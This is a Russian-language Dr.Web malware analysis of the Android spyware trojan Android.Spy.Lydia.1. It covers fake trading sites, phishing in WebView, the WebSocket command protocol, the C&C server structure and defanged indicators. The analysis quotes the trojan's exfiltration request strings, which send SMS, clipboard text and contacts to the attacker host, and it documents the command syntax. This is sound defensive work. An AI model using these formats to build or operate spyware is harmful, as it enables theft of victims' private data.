Поддержка
Круглосуточная поддержка

Позвоните

Бесплатно по России:
8-800-333-79-32

ЧаВо | Форум

Ваши запросы

  • Все: -
  • Незакрытые: -
  • Последний: -

Позвоните

Бесплатно по России:
8-800-333-79-32

Свяжитесь с нами Незакрытые запросы: 

Профиль

Профиль

Android.Spy.Lydia.1

Добавлен в вирусную базу Dr.Web: 2023-06-09

Описание добавлено:

SHA1: 39e55c1d04c77e95583303131f45208e57c327b9

Описание

Android.Spy.Lydia.1 является троянской программой-шпионом с широкой функциональностью и возможностью дистанционного управления. С ее помощью злоумышленники способны выполнять различные вредоносные действия на зараженных Android-устройствах. Вредоносная программа создана с помощью инструмента B4A (Basic for Android), при использовании которого исходный код программы пишется на языке Basic. Троян имеет механизм защиты в виде проверки запуска в эмуляторе или на тестовом устройстве. При их обнаружении он прекращает свою работу.

Принцип действия

Распространение

Троян распространяется через вредоносные сайты, якобы имеющие отношение к финансам. Например, они могут имитировать онлайн-платформы для торговли акциями. Пример такого сайта, расположенного по адресу hxxp[:]//biuy.are-eg[.]com/dashbord/:

#drweb

Здесь потенциальной жертве предлагается указать персональные данные — имя и фамилию, номер мобильного телефона и Национальный ID. После подтверждения ввода пользователь перенаправляется на страницу hxxp[:]//biuy.are-eg[.]com/dashbord/dl.php. На ней говорится, что для доступа к платформе якобы необходимо загрузить и установить специальное приложение:

#drweb

При нажатии на кнопку загрузки жертва вместо ожидаемого легитимного приложения скачивает на свое устройство одну из модификаций троянской программы Android.Spy.Lydia.1.

Начальный этап заражения

При запуске троян выполняет GET-запрос к hxxp[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/url.txt. В получаемом файле url.txt содержится URL фишингового сайта, который затем загружается в WebView и демонстрируется на экране.

При анализе описываемого образца URL имел следующий вид:

hxxps[:]//my-edalatsaham[.]sbs/fa/app.php

Загруженная в WebView целевая веб-страница представлена на скриншоте:

#drweb

В этой фишинговой форме потенциальной жертве предлагается ввести свой национальный ID для получения «вознаграждения».

Кроме того, троян выполняет POST-запрос, в котором уведомляет C&C-сервер об успешном заражении устройства:

hxxp[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/main.php

Параметры этого запроса имеют следующий вид:

"port=" + BA.ObjectToString(list0.Get(0)) + "&name=" + Phone.getModel() + "&network=" + Phone.GetNetworkOperatorName() + "&id=" + Phone.GetSettings("android_id") + "&androidos=" + "13" + "&action=install"

Основная функциональность

Android.Spy.Lydia.1 реализует функциональность бота, получая команды от C&C-сервера. Для этого троян подключается по протоколу WebSocket к серверу по адресу ws[:]//httpiamaloneqs[.]xyz:80 и ожидает от него ответ. Команды поступают в виде строки и имеют следующий формат:


"имя команды" + "уникальный ID устройства" + "текст из файла assets/gatewayport.txt" + "параметры для выполнения команды"

При этом они направляются всем активным ботам одновременно, после чего каждый из них в соответствии с идентификатором целевого устройства использует предназначенную ему команду.

На следующем скриншоте приведена часть лога из программы мониторинга трафика, в котором можно наблюдать поступающие от сервера команды:

#drweb

Пример команды:

smt82c327048026137theend!01234567890!.

где:

  • sm — имя команды, отвечающей за отправку СМС;
  • t82c327048026137 — ID устройства;
  • theend — содержимое файла gatewayport.txt из директории assets (предположительно указывает на имя версии вредоносного приложения);
  • 01234567890 — номер мобильного телефона, куда будет отправлено заданное СМС;
  • . — текст отправляемого СМС;
  • ! — разделитель между параметрами команды.

Результат выполнения команд передается на C&C-сервер по протоколу HTTP в POST-запросах вида:



http[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/<специфичный для команды ресурс>.php

Среди прочего, Android.Spy.Lydia.1 способен выполнять следующие действия:

  • Скрывать или показывать свой значок в списке программ домашнего экрана;
  • Выключать звук на устройстве;
  • Передавать содержимое входящих СМС на сервер или на целевой номер;
  • Передавать на сервер содержимое буфера обмена;
  • Собирать информацию об установленных приложениях;
  • Отправлять СМС с заданным текстом на заданные номера;
  • Передавать на сервер список контактов из телефонной книги;
  • Добавлять новые контакты в телефонную книгу;
  • Загружать заданные веб-сайты в WebView.

Список поддерживаемых команд

test

Активные боты демонстрируют всплывающее сообщение test на всех инфицированных устройствах.

List + "текст из файла assets/gatewayport.txt(theend)"

Троян отправляет heartbeat на C&C-сервер. Команда выполняется всеми активными ботами заданной версии.

Результат выполнения команды троян отправляет в POST-запросе к hxxp[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/main.php со следующим содержимым:



"id=" + Phone.GetSettings("android_id") + "&name=" + Phone.getModel() + "&network=" + Phone.GetNetworkOperatorName() + "&port=" + BA.ObjectToString(this._lydialistport.Get(0)) + "&androidos=" + "13" + "&action=list"



Здесь и далее параметр BA.ObjectToString(this._lydialistport.Get(0)) в POST-запросе соответствует строке theend.

bList + "текст из файла assets/gatewayport.txt(theend)"

Троян отправляет heartbeat на C&C-сервер. Команда выполняется всеми активными ботами заданной версии.

Результат выполнения команды передается в POST-запросе к hxxp[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/main.php со следующим содержимым:

"id=" + Phone.GetSettings("android_id") + "&name=" + Phone.getModel() + "&network=" + Phone.GetNetworkOperatorName() + "&port=" + BA.ObjectToString(this._lydialistport.Get(0)) + "&androidos=" + "13" + "&action=blist"

hide + "id устройства" + "текст из файла assets/gatewayport.txt(theend)"

Команда для скрытия значка вредоносного приложения в меню домашнего экрана. Предназначена для заданного бота.

Результат выполнения команды передается в POST-запросе к hxxp[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/main.php со следующим содержимым:


"id=" + Phone.GetSettings("android_id") + "&name=" + Phone.getModel() + "&network=" + Phone.GetNetworkOperatorName() + "&port=" + BA.ObjectToString(this._lydialistport.Get(0)) + "&action=hide"

show+ "id устройства" + "текст из файла assets/gatewayport.txt(theend)"

Команда для возврата значка вредоносного приложения в меню домашнего экрана.

Результат выполнения команды передается в POST-запросе к hxxp[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/main.php со следующим содержимым:


"id=" + Phone.GetSettings("android_id") + "&name=" + Phone.getModel() + "&network=" + Phone.GetNetworkOperatorName() + "&port=" + BA.ObjectToString(this._lydialistport.Get(0)) + "&action=show"

hideall + "текст из файла assets/gatewayport.txt(theend)"

Троян скрывает свой значок из списка приложений в меню домашнего экрана. Команда одновременно выполняется всеми активными ботами заданной версии.

mute + "id устройства" + "текст из файла assets/gatewayport.txt(theend)"

Троян выключает звук на зараженном устройстве.

getallmessage + "id устройства" + "текст из файла assets/gatewayport.txt(theend)"

Троян запускает сервис, который считывает содержимое всех СМС и сохраняет эту информацию в файл lydiateam.txt.

Далее он загружает этот файл на C&C-сервер в POST-запросе к hxxp[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/hello.php.

Загрузка файла реализована в методе com.pejmannikravan.uploadfile.PNUploadFile.StartUpload

getlastsms + "id устройства" + "текст из файла assets/gatewayport.txt(theend)"

Троян считывает содержимое последнего принятого на устройстве СМС. Затем он передает данные этого сообщения в POST-запросе к hxxp[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/main.php со следующим содержимым:

"number=" + this._s.Address + "&messagetext=" + this._s.Body + "&name=" + Phone.getModel() + "&id=" + Phone.GetSettings("android_id") + "&action=sms&network=" + Phone.GetNetworkOperatorName()

getclipboard + "id устройства" + "текст из файла assets/gatewayport.txt(theend)"

Троян передает на C&C-сервер текст из буфера обмена в POST-запросе к hxxp[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/main.php со следующим содержимым:

"contact=" + BClipboard.getText(wssocket.processBA) + "&name=" + Phone.getModel() + "&id=" + Phone.GetSettings("android_id") + "&network=" + Phone.GetNetworkOperatorName() + "&status=" + BClipboard.getText(wssocket.processBA) + "&action=clipboard"

где BClipboard.getText(wssocket.processBA — текст из буфера обмена.

getallapp + "id устройства" + "текст из файла assets/gatewayport.txt(theend)"

Троян составляет список установленных приложений и сохраняет его в файл allapp.txt.

Далее он загружает этот файл на C&C-сервер в POST-запросе к hxxp[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/allapp.php со следующим содержимым:

response=true&id=" + Phone.GetSettings("android_id") + "&model=" + Phone.getModel() + ""

Загрузка файла реализована в методе com.persevere.httpjob._vvvvvvvv4.

sm + "id устройства" + "текст из файла assets/gatewayport.txt(theend)" + параметры, разделенные знаком "!"

Троян отправляет СМС в соответствии с параметрами, указанными в команде.

bombsm + "текст из файла assets/gatewayport.txt(theend)"+ параметры, разделенные знаком "!"

Троян отправляет СМС в соответствии с параметрами, указанными в команде. Команда выполняется всеми актинами ботами заданной версии одновременно.

check + "id устройства" + "текст из файла assets/gatewayport.txt(theend)"

Троян проверяет наличие у него прав на отправку и чтение СМС, а также на чтение контактов. Далее он отправляет POST-запрос к hxxp[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/main.php со следующим содержимым:

"id=" + Phone.GetSettings("android_id") + "&name=" + Phone.getModel() + "&network=" + Phone.GetNetworkOperatorName() + "&readsms=" + "false" + "&adminn=Empty&sendsms=" + "false" + "&contact=" + "false" + "&accservice=empity&port=" + BA.ObjectToString(this._lydialistport.Get(0)) + "&action=check"

getcontact + "id устройства" + "текст из файла assets/gatewayport.txt(theend)"

Троян сохраняет список контактов в файл con.txt. Далее он загружает этот файл в POST-запросе к hxxp[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/up_file2.php со следующим содержимым:

response=true&id=" + Phone.GetSettings("android_id") + "&model=" + Phone.getModel() + ""

Загрузка файла реализована в методе com.persevere.httpjob._vvvvvvvv4.

sendcontact + "id устройства" + "текст из файла assets/gatewayport.txt(theend)" + параметры разделенные "!"

Троян сохраняет номера телефонов из списка контактов в телефонной книге в файл result.txt. Затем он загружает этот файл в POST-запросе к hxxp[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/up_file2.php со следующим содержимым:

response=scontact&id=" + Phone.GetSettings("android_id") + "&model=" + Phone.getModel() + ""

Загрузка файла реализована в методе com.persevere.httpjob._vvvvvvvv4.

importc + "id устройства" + "текст из файла assets/gatewayport.txt(theend)" + параметры разделенные "!"

Троян добавляет заданный в команде контакт в телефонную книгу. Далее он выполняет POST-запрос к hxxp[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/main.php со следующим содержимым:

"id=" + Phone.GetSettings("android_id") + "&name=" + Phone.getModel() + "&network=" + Phone.GetNetworkOperatorName() + "&port=" + BA.ObjectToString(this._lydialistport.Get(0)) + "&contactname=" + this.cmd[2] + "&contactnumber=" + this.cmd[1] + "&action=importcontact"

getstatus + "id устройства" + "текст из файла assets/gatewayport.txt(theend)"

Отправка heartbeat на C&C-сервер. В отличие от аналогичных команд List и bList, выполняется только ботом на устройстве с заданным ID.

После ее выполнения троян выполняет POST-запрос к hxxp[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/main.php со следующим содержимым:

"id=" + Phone.GetSettings("android_id") + "&name=" + Phone.getModel() + "&network=" + Phone.GetNetworkOperatorName() + "&port=" + BA.ObjectToString(this._lydialistport.Get(0)) + "&androidos=" + "13" + "&action=list"

offline + "id устройства" + "текст из файла assets/gatewayport.txt(theend)"

Троян выполняет GET-запрос к hxxp[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/number.txt и сохраняет результат в локальный файл number.txt. Затем он создает файл offline.txt с содержимым True.

Далее он выполняет POST-запрос к hxxp[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/main.php со следующим содержимым:

"id=" + Phone.GetSettings("android_id") + "&name=" + Phone.getModel() + "&network=" + Phone.GetNetworkOperatorName() + "&port=" + BA.ObjectToString(this._lydialistport.Get(0)) + "&action=offline"

disableoffline + "id устройства" + "текст из файла assets/gatewayport.txt(theend)"

Троян записывает в файл offline.txt значение False. Затем он выполняет POST-запрос к hxxp[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/main.php со следующим содержимым:

"id=" + Phone.GetSettings("android_id") + "&name=" + Phone.getModel() + "&network=" + Phone.GetNetworkOperatorName() + "&port=" + BA.ObjectToString(this._lydialistport.Get(0)) + "&action=disableoffline"

offstatus + "id устройства" + "текст из файла assets/gatewayport.txt(theend)"

Троян выполняет POST-запрос к hxxp[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/main.php со следующим содержимым:

"id=" + Phone.GetSettings("android_id") + "&name=" + Phone.getModel() + "&network=" + Phone.GetNetworkOperatorName() + "&port=" + BA.ObjectToString(this._lydialistport.Get(0)) + "&action=offstatusen"

Если в файле offline.txt записано значение False, то в параметрах запроса передается значение &action=offstatusdis.

Дополнительные запросы к C&C-серверу

При перехвате входящих СМС троян выполняет POST-запросы к hxxp[:]//teuoi[.]com/<текст из файла assets/gatewayport.txt(theend)>/main.php со следующим содержимым:

"number=" + s1 + "&messagetext=" + s3 + "&name=" + Phone.getModel() + "&id=" + Phone.GetSettings("android_id") + "&port=" + BA.ObjectToString(list0.Get(0)) + "&action=sms&network=" + Phone.GetNetworkOperatorName() + "&androidos=" + "13"

Кроме того, если имеется локальный файл offline.txt, в который записана строка True, Android.Spy.Lydia.1 пересылает текст входящего СМС на указанный в файле number.txt номер.

Формат передаваемого сообщения:

Текст SMS
Модель устройства
ID устройства

Анализ C&C-сервера

Рассмотрим структуру C&C-сервера троянского приложения.

Данные, которые Android.Spy.Lydia.1 собирает с зараженных устройств, хранятся на C&C-сервере в текстовых файлах. Они располагаются в каталогах, имена которых соответствуют содержимому файла assets/gatewayport.txt. Ниже представлен список этих файлов.

  • user.txt — хранит значения в виде целых чисел (например, 6, 503, 2865 и т. д.);
  • block.txt — список IP-адресов;
  • Contact.txt — полученный с устройства дамп контактов;
  • lydiateam.txt — полученный с устройства дамп СМС;
  • number.txt — номер телефона, на который пересылаются СМС-сообщения при переходе трояна в офлайн-режим;
  • result.txt — номера телефонов из контактов в телефонной книге;
  • sms.txt — может иметь значения on или off;
  • url.txt — адрес фишингового веб-сайта для загрузки в WebView.

Каждая модификация Android.Spy.Lydia.1 сохраняет собираемые данные в свой каталог. Ниже представлен список обнаруженных нами каталогов:


tahazp
theend
nexus
sirfu
kit
monster
moon
cash
hektourr

В случае если активно несколько ботов с одинаковым gatewayport.txt, файлы в соответствующей директории по мере их загрузки будут перезаписываться. Например, когда один из ботов получает команду на копирование СМС, он загружает соответствующий файл на сервер. Когда другой бот получит ту же команду, он перезапишет созданный ранее дамп первого бота. Существует вероятность, что после того как боты загружают файлы с информацией на сервер, те во избежание потери собранных данных копируются на другой ресурс.

Следующие адреса использовались в качестве фишинговых страниц:

hxxps[:]//sahamt.qpoe[.]com/app.php
hxxps[:]//my-edalat-sahamse[.]lol?lang=fa
hxxps[:]//my-edalatsaham[.]sbs/fa/app.php
hxxps[:]//viiirubre[.]store/Dargah
hxxps[:]//date-manager[.]com/sham/app.php
hxxps[:]//dolati[.]host/%F0%9D%90%9C%E2%80%8C%E2%80%8C/app.php
hxxps[:]//ydilat[.]host/%F0%9D%90%9C%E2%80%8C%E2%80%8C/app.php

Номера телефонов, на которые активные копии трояна пересылают перехваченные СМС:

  • 0918930xxxx
  • 0919224xxxx
  • 0911777xxxx

Рекомендации по лечению


Android

  1. Если мобильное устройство функционирует в штатном режиме, загрузите и установите на него бесплатный антивирусный продукт Dr.Web для Android Light. Выполните полную проверку системы и используйте рекомендации по нейтрализации обнаруженных угроз.
  2. Если мобильное устройство заблокировано троянцем-вымогателем семейства Android.Locker (на экране отображается обвинение в нарушении закона, требование выплаты определенной денежной суммы или иное сообщение, мешающее нормальной работе с устройством), выполните следующие действия:
    • загрузите свой смартфон или планшет в безопасном режиме (в зависимости от версии операционной системы и особенностей конкретного мобильного устройства эта процедура может быть выполнена различными способами; обратитесь за уточнением к инструкции, поставляемой вместе с приобретенным аппаратом, или напрямую к его производителю);
    • после активации безопасного режима установите на зараженное устройство бесплатный антивирусный продукт Dr.Web для Android Light и произведите полную проверку системы, выполнив рекомендации по нейтрализации обнаруженных угроз;
    • выключите устройство и включите его в обычном режиме.

Подробнее о Dr.Web для Android

Демо бесплатно на 14 дней

Выдаётся при установке